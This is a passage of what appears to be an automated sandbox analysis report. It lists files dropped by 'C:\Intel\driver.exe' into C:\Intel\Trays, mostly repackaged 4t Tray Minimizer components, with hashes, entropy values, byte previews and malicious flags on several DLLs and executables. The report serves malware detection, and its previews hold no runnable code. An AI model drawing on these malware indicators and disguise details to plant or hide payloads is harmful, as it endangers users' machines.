File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	743
Entropy (8bit):	4.6472256555643465
Encrypted:	false
SSDEEP:	12:M2Bx1LEnOwI2NJ2H75eRK/w/BPgq1UxlTtcWZkFnvN7J2a0xhRR+NkIH:9COFF1eI/Cb1UxpmFnqxHc5
MD5:	EE15025385638295CD8953EA45D876E0
SHA1:	940763F132EA201C6526AA298AF5FC910D542691
SHA-256:	5119725BA47E7DBF5CC8DD397D017391E2B135D9943CE380377F2A3D57458AF7
SHA-512:	3146F70ACD756FA565D57A33AC698DAF3D7DBE6DF1F5997D1D371325D2E662A0F718C21626FA3BD8A8A23FF03FC011B4D61F202EA7EA87AE27C6907BE285458A
Malicious:	false
Preview:	..4t Tray Minimizer Pro 6.07..===============================....Minimize Outlook, IE, Firefox and any other applications to the system tray!....4t Tray Minimizer lets you running applications minimized as System..Tray icons, which helps in adjusting free space on your taskbar. To..minimize any application to the task bar, simply left click the..minimize button as usual or press keyboard shortcut. You can..configure 4t Tray Minimizer to automatically hide/restore specific ..applications by pressing specific keyboard shortcuts.......Copyright (C) 2001-2017, 4t Niagara Software....=============================================..http://www.4t-niagara.com..mailto:support@4t-niagara.com..=============================================....

C:\Intel\Trays\ShellEh6055.dll

Download File

Process:	C:\Intel\driver.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	56832
Entropy (8bit):	6.298588809941958
Encrypted:	false
SSDEEP:	768:9258dMWwcuT9pU9TJ95v5xosGx/2H3llWQsmb8J/1Xc58JIyj4NtZ+QWdR8x:cwvHBxKKJ3ALMII7L+QWd2x
MD5:	0EB9F7FB524730F1B65CD926A55CBD70
SHA1:	4B6F96B4BC06303538F83AFA060E1AA0BDB3F7A9
SHA-256:	7061169B0C1EB3F0FB0EC9A2F82F9FEC8D813770EDDFA9DA059830619B431292
SHA-512:	515D665C30E5545D303D8A78B914CA34F126B34209314D59A16F37D41EC84BBC4909781F9A53E4548399AD89B0CC5CB4E28B6CE5536B5A6ECAA0F71F95171E83
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................6...... .............@..........................0.......................................... ...........................................................................................................................CODE....T........................... ..`DATA................................@...BSS......................................idata..............................@....edata.. ...........................@..P.reloc..............................@..P.rsrc...............................@..P.............0......................@..P................................................................................................................................................................................

C:\Intel\Trays\ShellEh6055x64.dll

Download File

Process:	C:\Intel\driver.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	117304
Entropy (8bit):	5.610558322226675
Encrypted:	false
SSDEEP:	3072:jz88+cEaxHiFnUVl7BhPTrJ1gQXbL8caj+GdhfMkHqlOqugdo:j483BtfQQXbL8caj+gkMngdo
MD5:	395290BD5EB8BE9685394305CACA3ADF
SHA1:	85B9EA9BADE9658A949C1B95467A19A6E0968BD3
SHA-256:	9D91AAC2EC8A1526732A6D4AF9D5A83C5FCFB3B978A95678F486D71BDF26AD12
SHA-512:	2982B9EC2CA7FAA5263D9881B0FA36E1D898441B0EB96FB04239FED782044D6D03419989C0FB6117CE9C4066945DD9C6448B9A1637E228C7E3A440FDCAB8909A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d..................".....P...L...'...........................................@..........................................................(.................................... ..8....................................................................................text....P.......P.................. .P`.data....L...p...L...V..............@.P..bss.....'............................P..idata..............................@.0..edata..(.......(...................@.@@.rsrc...............................@.@@.reloc..8.... ..8...................@.P@........................................................................................................................................................................................................................................................................................................................................

C:\Intel\Trays\Tray.dll

Download File

Process:	C:\Intel\driver.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	82432
Entropy (8bit):	6.288736444324739
Encrypted:	false
SSDEEP:	1536:50ZBlNKeoNdfYh54IlTayP6pP5sR8v1QI4zsWipcdwNL13v3gFq:5vsaIlT/Cpj1V4E4wNx3qq
MD5:	D7AE1BE3BDAEE1374B0A04E40B34CA51
SHA1:	34A4A45E9F5C86C00977565E1766F075DC2C8875
SHA-256:	5F45989E22E596BD8B5476E559ABE6E216CE446EAF79BB874C894DC938163240
SHA-512:	2E53A15C65F987E6CFEACB871A5A58D77B20D8263E92BACC6FCF5BA7D902283B2521541066CE42844B9C133AF3903205804C14433EA808F608C6731F7F85E3D2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............[..[..[m$.[..[m$.[...[m$.[...[...Z..[...Z..[...Z..[.G"[..[..[...[...Z..[...Z..[...[..[...Z..[Rich..[........................PE..L......W...........!................J(....................................................@..........................$.......%..x....`..h....................p..L.......T...............................@............................................text............................... ..`.rdata...].......^..................@..@.data...P....0....... ..............@....shared.Q....@.......(..............@....gfids.......P.......*..............@..@.rsrc...h....`.......,..............@..@.reloc..L....p.......0..............@..B........................................................................................................................................................................................................

C:\Intel\Trays\Trays.exe

Download File

Process:	C:\Intel\driver.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2019840
Entropy (8bit):	6.439982548644594
Encrypted:	false
SSDEEP:	49152:hpIEX9g68K7LjloCbCqommOGV7t398lBvX:hh8ULjloAhm3V7wX
MD5:	90D208B856DEA18596D57FFB1DD3A867
SHA1:	7EE41EEADF39A001B6149738B874D998911055EF
SHA-256:	344DE5B82B337E49C0F30748E0BC74AFC1EBCF90DF4BD0EED5298B5CD57282D9
SHA-512:	ADECDD534F3A7EA3B409186FC60385EFC7C04BD12EDDD8EE6D50E9FF87AFC79A84B94640B325938E8920762E30C059B92117C0D12B5C1F4DAD8DEC60E61438C1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*............................0.............@...........................!.....Oj...........@...........................`...7...P..............................................................................................................CODE....0........................... ..`DATA.....R.......T..................@...BSS......X...............................idata...7...`...8..................@....tls....(................................rdata..............................@..P.reloc..T...........................@..P.rsrc........P......................@..P..............!......\ .............@..P........................................................................................................................................

C:\Intel\Trays\Trays.lnk

Download File

Process:	C:\Intel\driver.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Archive, ctime=Sun Oct 6 11:03:06 2024, mtime=Sun Oct 6 11:04:28 2024, atime=Tue Aug 8 16:22:26 2017, length=2019840, window=hidenormalshowminimized
Category:	dropped
Size (bytes):	1036
Entropy (8bit):	4.372618772871116
Encrypted:	false
SSDEEP:	12:8lWHyM0sXXHg2XIGNrDHjestc/YEyGGVagVgHhfJILPri82ctejOqQAVQE6Um5:8Y9HHgwIEjlajNGPuBfJIiYteBT5zm
MD5:	919F64751F2164821A33CF02079E446D
SHA1:	A13BA175D24AE2AECF78FEFD70D96B8B0C3A5537
SHA-256:	B9702AB266717FDF1AB946E2F4253F67AAAC3A4DB3BC8BD71145C250997334B3
SHA-512:	B0D74D7A53D558595CD2243F79234F52B8F74BDB1AF1451CA0682C13616E1F4777B4D280CE929AB77EE8033F4C7B4A8A5B64BD7113F8C99CD97447CBAE6EC79D
Malicious:	false
Preview:	L..................F.... ...p.$..............5z.j...........................+....P.O. .:i.....+00.../C:\...................P.1.....FYc`..Intel.<......FY.]FYc`............................Y.I.n.t.e.l.....P.1.....FY.`..Trays.<......FY.]FY.`..........................jK..T.r.a.y.s.....\.2......K. .Trays.exe.D......FYd`FYd`....w ........................T.r.a.y.s...e.x.e.......M...............3.......L...........65......System.C:\Intel\Trays\Trays.exe......\.T.r.a.y.s...e.x.e...C.:.\.I.n.t.e.l.\.T.r.a.y.s...-.t.r.a.y.`.......X.......vivobook.........................W........(..VY.................W........(..VY........Q...1SPS.0..C..G.....sf"5...d............T.r.a.y.s. .(.C.:.\.I.n.t.e.l.).............1SPS0.%..G.....`...%................T.r.a.y.s...e.x.e............@....f...........................)..................@.8.;.>.6.5.=.8.5..............@....5z.j.......a...1SPS.jc(=.......O...E................C.:.\.I.n.t.e.l.\.T.r.a.y.s.\.T.r.a.y.s...e.x.e.........9...1SPS..mD..pH.H@..=x.....h

C:\Intel\Trays\Whatsnew.txt

Download File

Process:	C:\Intel\driver.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1622
Entropy (8bit):	4.899410686748101
Encrypted:	false
SSDEEP:	48:lS2HOIQ3WN/SE8VFLskLb7RuGnPJgsGb4xC5V4ylVFk:tuI62/BID3lumPJEx5V4y/O
MD5:	09FE429955CDD00C8204694A12FC61E0
SHA1:	A7F9F4DAAA05E9352A9BD2B240F74EA42C11BCAD
SHA-256:	F19A02D60EED8BFE9844D815766C3B7A9D73BE6465BD7773746A27F39EF89A3A
SHA-512:	6D49512F3E81F1ADEB14E42536FAA852154D81734FD6C9E77EAF83000CD3ED1B4BFD18EB694725ABE723B66E276C3B6EE4A25A34DBED8386B933BD8D23CFDBEA
Malicious:	false
Preview:	..4t Tray Minimizer Free/Pro 6.07: What's new?..=================================================....ADDED.. [+] Windows 10 support.. [+] Windows 8 and 8.1 support.. [+] Support for console windows.. [+] Localization support.. [+] French language added. Thanks Jean-Pierre Lord for translation.. [+] Chinese language added. Thanks Merci chao for translation.. [+] Italian language added. Thanks Massimo Marcacci for translation.. [+] Portuguese (Brazil) language added. Thanks Eduardo Lampugnani for translation... [+] Russian language added. Thanks Ringil Endimion for translation... [+] Simplified Chinese translation added. Thanks Zeojc Uts for translation.. [+] Spanish language added. Thanks Claudio Salvio for translation... [+] German language added. Thanks Thomas Creutz and Maximilian Balter for translation.. [+] Ability to redefine action for the mouse click on the title bar.. [+] Inactive favorite windows can be automatically minimized to tray after certain idle time is r

C:\Intel\Trays\company.url

Download File

Process:	C:\Intel\driver.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<http://www.4t-niagara.com>), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	51
Entropy (8bit):	4.6004442740684155
Encrypted:	false
SSDEEP:	3:HRAbABGQYm/0S432ZEZFn:HRYFVm/r4bX
MD5:	40D94BAF7D28D32280FCF0DD570A37E6
SHA1:	F87EF8C328509F0135D98FF4B35C915F23D58D0A
SHA-256:	F192C975D67838A743CAACD8CA71877AE043FAD6F18E2F0B0FB96D0F9B66E15E
SHA-512:	C7277C09CCC99C1DCF1969C2D1771A046E803BA1B264A183D1ED473C2DAE3328F7FA1970B350B7CD584A8FE20CA81C3CA851A59C07D6ADFE25BDE801BF877997
Malicious:	false
Preview:	[InternetShortcut]..URL=http://www.4t-niagara.com..

C:\Intel\Trays\contact.url

Download File

Process:	C:\Intel\driver.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<http://www.4t-niagara.com/contact_us.html>), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	67
Entropy (8bit):	4.637005519385317
Encrypted:	false
SSDEEP:	3:HRAbABGQYm/0S432ZEZ3dLlhW5vn:HRYFVm/r4bnlhW5v
MD5:	6F0250612EC7B39A83E74CF3CA356CA5
SHA1:	80EFD04C98430B1748381010C68659DFC2557A5F
SHA-256:	241D88C602F3298DA04D403E97E831E843D9C6176FA7C661FCA9FB9EA7CDF7BE
SHA-512:	879752B9F83BC53F21656AAABE98B6B4955CA4A2B67531F92D3A3333230AAE59E989A9CA29368C3097521E3D3C92874511B54260732E07B1CA03FCEE47EC3C01
Malicious:	false
Preview:	[InternetShortcut]..URL=http://www.4t-niagara.com/contact_us.html..

C:\Intel\Trays\delReg.exe

Download File

Process:	C:\Intel\driver.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	46592
Entropy (8bit):	6.23811864882066
Encrypted:	false
SSDEEP:	768:jlQqBEBHyBqM/5b8inuL5wKzE9nfw6dMcK10ztk2hEwxa1zTH4p1Alor/4Bv/eDk:hQqBE3ubz2LzEaOMcwVvSaF4bADGD8X
MD5:	E30D6A1276746415D9E02420B9163D00
SHA1:	D6E7245784FB9981FF15D56E10D75BDC342B4481
SHA-256:	211F078A2914BA88EE3A739A1C7A3CDE592BB8A5ED522D55038274000F7C6C89
SHA-512:	1C19BB914A7B21AAC11C4E9551B99081DC49F7DE3A12D911B457A5D838E4BFD18DF28375B8EEC902EAEF5CC1BEE7927AF385E89823693E246A6F003CF6D6B499
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.........................................@..............................................@..................................................................................................................................................CODE....4........................... ..`DATA................................@...BSS......................................idata..............................@....tls.....................................rdata..............................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Intel\Trays\faq.url

Download File

Process:	C:\Intel\driver.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<http://www.4t-niagara.com/tray_faq.html>), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	65
Entropy (8bit):	4.731392382286379
Encrypted:	false
SSDEEP:	3:HRAbABGQYm/0S432ZEZ3xEco6Jovn:HRYFVm/r4bQc4v
MD5:	77D33FFFDC8B189F0E7A6BCF8460CD28
SHA1:	E68219FEDE27F53EA5E6606DF3C556DF9D2E6DF9
SHA-256:	4681D53DD83DE83A9DABCA7DC7D7AEEF1BA71EDC24254E244920F27BF6EA05EB
SHA-512:	8A8BC2120EC2987A2FE3379535530A784644E3BE0AEA11385DC2548DF13289DB834A796DECE770A074B53B60429CDC4F593BC71D776069D2DD8FDE4607B0DE28
Malicious:	false
Preview:	[InternetShortcut]..URL=http://www.4t-niagara.com/tray_faq.html..

C:\Intel\Trays\license.txt

Download File

Process:	C:\Intel\driver.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2351
Entropy (8bit):	5.177290930473369
Encrypted:	false
SSDEEP:	48:2geJSyUwiCEfm2CwZupvE32sHiHnOxmiRt:2gZyUDO2fZEvE3+HnOBv
MD5:	04B3166626C39B806F710D2243A0B1C3
SHA1:	2EB73BAC75D2B6C616580D03A84DB3035AB16A4B
SHA-256:	6D9403BEC7B9060DE5289BCBB28024379F550A98233E3F776E3E9833DDEA45CB
SHA-512:	4C2A78E1274EF3AF1F82C61A48D1FD18A556395B72E47943F4925F5AF958DBE8A837F95A230B1F52DC763DC14A1692CE4545E70ECB13115B5F40A6E8086431E3
Malicious:	false
Preview:	..4t Tray Minimizer Free/Pro 6.07: THE LICENSE..===============================================....You should carefully read the following terms and..conditions before using this software. Your use of this..software indicates your acceptance of this license..agreement and warranty.....* 4t Niagara Software exclusively owns all.. copyrights to 4t Tray Minimizer.....* You can use the 4t Tray Minimizer Free version for personal .. and commercial purposes without any time limit.....* One LICENSED copy of 4t Tray Minimizer Pro may be used .. by one and only one of the following ways:.... 1) Personally by a single person, who uses the software .. on one or more computers.... 2) Installed on a single workstation used nonsimultaneously.. by multiple people....* The sale of and/or distribution of licensed copies.. of 4t Tray Minimizer Pro is strictly forbidden. It is a.. violation of this agreement to loan, rent, lease,.. borrow, or transfer the use of licensed copies of.. 4t N

C:\Intel\Trays\locale\de2\LC_MESSAGES\default.mo

Download File

Process:	C:\Intel\driver.exe
File Type:	GNU message catalog (little endian), revision 0.0, 382 messages, Project-Id-Version: 4t Tray Minimizer 6.06 'Ausgeblendete Fenster'
Category:	dropped
Size (bytes):	30905
Entropy (8bit):	5.069231381707322
Encrypted:	false
SSDEEP:	768:4m0kM8gxaxtDp/C01snfhapyU9MJavZoK1Afz09PG3:x0kM8VF/91ohXKGo9PG3
MD5:	593F8A1D92C99751439CB11FCA5A5147
SHA1:	1A2FAB607168A473B65570199EAB2E3FBAEE7329
SHA-256:	5AFD8C6487235E7BAA5E17FAAE8E951C59342E63A5BBA91312D264742FA75DFB
SHA-512:	38B93610939400884143D4B093DD35A74F635D9CF4C6113E7B2C174BA1DF1805B167D6BE8B8C1F879497EFE21CA2E838B2DACCED73F199DAE1F20EC665AD7093
Malicious:	false
Preview:	........~........................................ ....... ......( ......C ......M ......V ..-..._ ....... ....... ....... ....... ....... ....... ....... ..).... ..#....!......1!......7!......S!......`!......v!..!....!.......!.......!.......!.......!..C....!......"..9...="......w"......}"......."..&...."......."......."......."..,...."..=....#......L#......Z#..8...l#.......#.......#.......#.......#.......#.......#.......#.......#.. ....$......0$......@$......H$......S$......k$..9...v$../....$.......$..3....$...... %......0%......_%......c%......i%......x%.......%.......%.......&.......&.......&..<....&.......'.......'.......'..!....'......@'..!...H'..-...j'.......'.......'.......'..,....'.......(..4....(.......(..+....(.......)..(...<)..)...e)..+....)..8....)..F....)......;......I......i......w..............................2.........................+..?....+..5...Y+..6....+.......+.......+.......+.......,.......,......+,......1,......;,......H,......U,......],..%...r,......

C:\Intel\Trays\locale\de\LC_MESSAGES\default.mo

Download File

Process:	C:\Intel\driver.exe
File Type:	GNU message catalog (little endian), revision 0.0, 381 messages, Project-Id-Version: 4t Tray Minimizer 6.06 'Versteckte Fenster'
Category:	dropped
Size (bytes):	30016
Entropy (8bit):	5.060728405451012
Encrypted:	false
SSDEEP:	768:T0ZZpKDtuTp/d01snfhapyU9dpz1Bc+zdRs0s4FVUzs:T0oi/K1ohICIuzs
MD5:	45C010F6FE41F2F39B812800C9AA6628
SHA1:	CFF21B13A3181D6BDD40A6965814E489024C86FA
SHA-256:	BB2A9AD8C5138613D58D27895BE22CA9B42C370BD7F3DC19C51D4418A5990BC2
SHA-512:	CDD20FDE69978FA38057178D4CDA665B8F5281C7C960C06897E747D954AA3387A5AC337C577C999FA38680D0186E5A6449DAD942D7A0C8C3C2482C3B4CED4C80
Malicious:	false
Preview:	........}................................................ ....... ......3 ......= ......F ..-...O ......} ....... ....... ....... ....... ....... ....... ..).... ..#.... ......!!......'!......C!......P!......f!..!...o!.......!.......!.......!.......!..C....!......"..9...-"......g"......m"......s"..&...."......."......."..,...."..=...."......(#......6#..8...H#.......#.......#.......#.......#.......#.......#.......#.......#.. ....#.......$.......$......$$....../$......G$..9...R$../....$.......$..3....$.......$.......%......;%......?%......E%......T%......n%.......%......f&.......&.......&..<....&.......&.......&.......&..!....&.......'..!...$'..-...F'......t'.......'.......'..,....'.......'..4....(.......(..+....(.......(..(....)..)...A)..+...k)..8....)..F....).............%......E......S......m......~................2...........................?......5...5+..6...k+.......+.......+.......+.......+.......+.......,.......,.......,......$,......1,......9,..%...N,......t,......

C:\Intel\Trays\locale\es\LC_MESSAGES\default.mo

Download File

Process:	C:\Intel\driver.exe
File Type:	GNU message catalog (little endian), revision 0.0, 368 messages, Project-Id-Version: 4t Tray Minimizer 6.0 'Ventanas ocultas'
Category:	dropped
Size (bytes):	30458
Entropy (8bit):	5.027518042535738
Encrypted:	false
SSDEEP:	768:nCFqE+vfRtop/dSwwnvhafRtnoVnUlQNf:CtQq/cwmhfVnycf
MD5:	698A77586654ADEFC181A9C2752393E0
SHA1:	83CFCE72EB1495F7E3F9E5A8DA2F3723E4FAB910
SHA-256:	793F85BE0AFD56902465F12165EBBF5EB72C5029DC0F9122C50DBE8DAA1D2B0D
SHA-512:	93F4E3BD983D6D81B0D455433623DF384FB81AD2E64447174ACC21074DFE047AA62499F045FD66707E5E00E9ACA95F225B867DE5D481392F89490D74C02489AA
Malicious:	false
Preview:	........p...........................................................................-...&.......T.......^.......i.......q.......\|...................).......#............................ ......' ......= ..!...F ......h ......\| ....... ....... ..C.... ...... ..9....!......>!......D!......J!..&...Z!.......!.......!..,....!..=....!.......!......."..8...."......X"......f"......n"......v"......z".......".......".......".. ....".......".......".......".......#.......#..9...)#../...c#.......#..3....#.......#.......#.......$.......$.......$......+$......E$......^$......=%......W%......_%..<...{%.......%.......%.......%..!....%.......%..!....%..-....&......K&......g&......~&..,....&.......&..4...j'.......'.......'..(....'..)....'..+....(..8...B(..F...{(.......(.......(.......(.......(.......).......)..2....)......K)......R)......h)..?...r)..5....)..6....).............5......J......^......i......o......y.......................%.............'......"....+......4+......P+......f+......

C:\Intel\Trays\locale\fr\LC_MESSAGES\default.mo

Download File

Process:	C:\Intel\driver.exe
File Type:	GNU message catalog (little endian), revision 0.0, 367 messages, Project-Id-Version: 4t Tray Minimizer 6.0 'Fen\303\252tres masqu\303\251es'
Category:	dropped
Size (bytes):	29470
Entropy (8bit):	5.062750769039303
Encrypted:	false
SSDEEP:	768:3r1SPrWd0ZWp/dSwBnvhafRtntA4/85/yOi:71B1/cwZhvi
MD5:	AB89E520989F70BB3E6D88348B1BB1B4
SHA1:	94ADB5B2BF6CDF422951A1368246CFB7BA7C7EDA
SHA-256:	E5BFC9850A8B703BC8111A80A986E95BBD774110BF336779C80C2F0314BCB787
SHA-512:	C2F8CB2345D8BEBFD9436B066ECAC8EE35A64C106A6CB0F7CD53A74C171DDC50F1F7C948AA63548E1582D33ECFFB4A99E9240F3DD34EAE9147592FBDF38A23F3
Malicious:	false
Preview:	........o...........................................................................-...........D.......N.......Y.......a.......l.......}...........).......#............................ ....... ......- ..!...6 ......X ......l ......w ......} ..C.... ...... ..9.... .......!......4!......:!..&...J!......q!......\|!..,....!..=....!.......!.......!..8...."......H"......V"......^"......f"......j"......v".......".......".. ....".......".......".......".......".......#..9....#../...S#.......#..3....#.......#.......#.......$.......$.......$.......$......5$......N$......-%......G%......O%..<...k%.......%.......%.......%..!....%.......%..!....%..-....&......;&......W&......n&..,...z&.......&..4...Z'.......'.......'..(....'..)....'..+....(..8...2(..F...k(.......(.......(.......(.......(.......(.......)..2....)......;)......B)......X)..?...b)..5....)..6....).............%......9......D......J......T......a......n......v..%.............'......"...........+......++......A+......M+......

C:\Intel\Trays\locale\it\LC_MESSAGES\default.mo

Download File

Process:	C:\Intel\driver.exe
File Type:	GNU message catalog (little endian), revision 0.0, 367 messages, Project-Id-Version: 4t Tray Minimizer 6.0 'Finestre nascoste'
Category:	dropped
Size (bytes):	29520
Entropy (8bit):	4.974866083390291
Encrypted:	false
SSDEEP:	768:3riKEaZWp/dSwBnvhafRtnZ3fO5oPYvG2CZ+Xc:7ip/cwZhR5odZZ
MD5:	E20E2DAD6CA8B7EE2749F54D0A711AC0
SHA1:	550228B8FE9213054C1F578F55D8CE0E3288499C
SHA-256:	0492C624FAD7DC6655F8BED19DA0CFFDD1706C559EF892E629992F6FCB1E2DF0
SHA-512:	50A3D7BBD95E25944A734D20C65E5516A61168C2F7A7E8DD597F63560BA56EDC710BB50C8CA78F40DED1F90D733C713FB050D69BA51A64AE3CFB47606CBD657B
Malicious:	false
Preview:	........o...........................................................................-...........D.......N.......Y.......a.......l.......}...........).......#............................ ....... ......- ..!...6 ......X ......l ......w ......} ..C.... ...... ..9.... .......!......4!......:!..&...J!......q!......\|!..,....!..=....!.......!.......!..8...."......H"......V"......^"......f"......j"......v".......".......".. ....".......".......".......".......".......#..9....#../...S#.......#..3....#.......#.......#.......$.......$.......$.......$......5$......N$......-%......G%......O%..<...k%.......%.......%.......%..!....%.......%..!....%..-....&......;&......W&......n&..,...z&.......&..4...Z'.......'.......'..(....'..)....'..+....(..8...2(..F...k(.......(.......(.......(.......(.......(.......)..2....)......;)......B)......X)..?...b)..5....)..6....).............%......9......D......J......T......a......n......v..%.............'......"...........+......++......A+......M+......

C:\Intel\Trays\locale\pt_BR\LC_MESSAGES\default.mo

Download File

Process:	C:\Intel\driver.exe
File Type:	GNU message catalog (little endian), revision 0.0, 368 messages, Project-Id-Version: 4t Tray Minimizer 6.0 'Janelas ocultas'
Category:	dropped
Size (bytes):	29425
Entropy (8bit):	5.09510591952236
Encrypted:	false
SSDEEP:	768:nCmhLDLgQf2Wtop/dSwwnvhafRtnSUs9OqhjajbxPGG8XHR2K5Ht:CmeWe/cwmhv9/mHQXHYyN
MD5:	85CBD0F7AFE8AC0A245A08A65AC40F7F
SHA1:	450A5DB373C743CA3ECFA7F6025CEE30E780D18C
SHA-256:	AAAF351A90E8210C4BC38A29FEB2FC4A67389D77FAE605B0A6FC92450F698096
SHA-512:	798D21AADEB715ACC703BD2E47CA507B65223A00FC7E036F8AACB7D7EFB877384BA72E0812C5574F406E8D8B5D51BEE7EF75B35ECCA8E111497DF01EFC0E0D80
Malicious:	false
Preview:	........p...........................................................................-...&.......T.......^.......i.......q.......\|...................).......#............................ ......' ......= ..!...F ......h ......\| ....... ....... ..C.... ...... ..9....!......>!......D!......J!..&...Z!.......!.......!..,....!..=....!.......!......."..8...."......X"......f"......n"......v"......z".......".......".......".. ....".......".......".......".......#.......#..9...)#../...c#.......#..3....#.......#.......#.......$.......$.......$......+$......E$......^$......=%......W%......_%..<...{%.......%.......%.......%..!....%.......%..!....%..-....&......K&......g&......~&..,....&.......&..4...j'.......'.......'..(....'..)....'..+....(..8...B(..F...{(.......(.......(.......(.......(.......).......)..2....)......K)......R)......h)..?...r)..5....)..6....).............5......J......^......i......o......y.......................%.............'......"....+......4+......P+......f+......

C:\Intel\Trays\locale\ru\LC_MESSAGES\default.mo

Download File

Process:	C:\Intel\driver.exe
File Type:	GNU message catalog (little endian), revision 0.0, 381 messages, Project-Id-Version: 4t Tray Minimizer 6.0 '\320\241\320\272\321\200\321\213\321\202\321\213\320\265 \320\276\320\272\320\275\320\260'
Category:	dropped
Size (bytes):	36266
Entropy (8bit):	5.3347246127099375
Encrypted:	false
SSDEEP:	768:T0ZZdTK6uTp/d01snfhapyU9msUf0+mdDVTjMdsB/Sl5+kttuVVP:T0s/K1ohgUSdDb/qG
MD5:	BC2EC0D45FCA6058421637813799A6AA
SHA1:	0A894BE9964F1CF885742D214456466453E49BA8
SHA-256:	0BDA3AFA67B8D4DDE8769ABC0BDC3DB65B7607E3F4524618766F48026C7D23BD
SHA-512:	C1462688B5AB56B397808EE124CD3057994BEEBC49EBB815659CD995FA60CA26E5968EDB6CAB912944A1BFC895F05EE40F7EB048FA6004204ECA420E7E1BFF87
Malicious:	false
Preview:	........}................................................ ....... ......3 ......= ......F ..-...O ......} ....... ....... ....... ....... ....... ....... ..).... ..#.... ......!!......'!......C!......P!......f!..!...o!.......!.......!.......!.......!..C....!......"..9...-"......g"......m"......s"..&...."......."......."..,...."..=...."......(#......6#..8...H#.......#.......#.......#.......#.......#.......#.......#.......#.. ....#.......$.......$......$$....../$......G$..9...R$../....$.......$..3....$.......$.......%......;%......?%......E%......T%......n%.......%......f&.......&.......&..<....&.......&.......&.......&..!....&.......'..!...$'..-...F'......t'.......'.......'..,....'.......'..4....(.......(..+....(.......(..(....)..)...A)..+...k)..8....)..F....).............%......E......S......m......~................2...........................?......5...5+..6...k+.......+.......+.......+.......+.......+.......,.......,.......,......$,......1,......9,..%...N,......t,......

C:\Intel\Trays\locale\tr\LC_MESSAGES\default.mo

Download File

Process:	C:\Intel\driver.exe
File Type:	GNU message catalog (little endian), revision 0.0, 196 messages, Project-Id-Version: 4t Tray Minimizer 6.05 'Pencereleri gizle'
Category:	dropped
Size (bytes):	10931
Entropy (8bit):	5.120322380449319
Encrypted:	false
SSDEEP:	192:S3o+iYb5QTlt8a6zqGnxXnNvo+alRbG7pyk7/sjrWOqsvzwhxLifNnhvGeWrQ:SY4iTr6z/x9vqrq7pyk7/a+2hn
MD5:	042CC2B2B39001F1DB68FCBA99BE8335
SHA1:	17F6BF2F16ABA09478F64E2A15E0C955862E36E1
SHA-256:	E38FA2ED6DE39F63EA787944A5D225A1D7DB8621A5D7B89C0C7D994FB51B88D4
SHA-512:	F40F4BDD0B748B8B1CF30B902D5CA7DE04CD7CD616D229593E4B565371B2F4559EA2B0E9528BA42F3E33FA692AE8358F3C8742E7634C6E233FA71C1736CF61AD
Malicious:	false
Preview:	................<.......\.......x.......y...........................................#...........................................,...!...5.......W.......k.......v.......\|........................................................................................... ...................%.......-.......8.......P.......[.......g.......................................................................................................,.......@.......K.......f.......l.......v.......~...........................................7......./......."...F.......i.......x.......}...................................(................................................... .......2.......B.......Z.......m.......................................................................................................................(.......?.......L.......S.......b.......n............................................................................................... .......4.......F.......V.......`.......k.......}...............

C:\Intel\Trays\locale\zh_CN\LC_MESSAGES\default.mo

Download File

Process:	C:\Intel\driver.exe
File Type:	GNU message catalog (little endian), revision 0.0, 368 messages, Project-Id-Version: 4t Tray Minimizer 6.0 '\351\232\220\350\227\217\347\232\204\347\252\227\345\217\243'
Category:	dropped
Size (bytes):	26890
Entropy (8bit):	5.922360490957865
Encrypted:	false
SSDEEP:	768:nC72cm4Rtop/dSwwnvhafRtnwIa8GajYFdTyooCnCDGjI:Cq4y/cwmhbIa83jYDTyohjI
MD5:	16685492CB6B7501401CCC05FE445A6D
SHA1:	F2A2278850153B6C7DC39B5F3EFBCD592BD15F3A
SHA-256:	43636194082FFAB40B132C5A456BC9A3C5AD3BA0A8B36E8ACF550D2064F29AFC
SHA-512:	148039622A0CD18CFB58C3B05017F146F0A59C5A560CE2BF138219AB2029CC6E44E55208B78BA077AC6B326BDEF3EEDB5BEBE65E5AA37908EFBB0138F75963DB
Malicious:	false
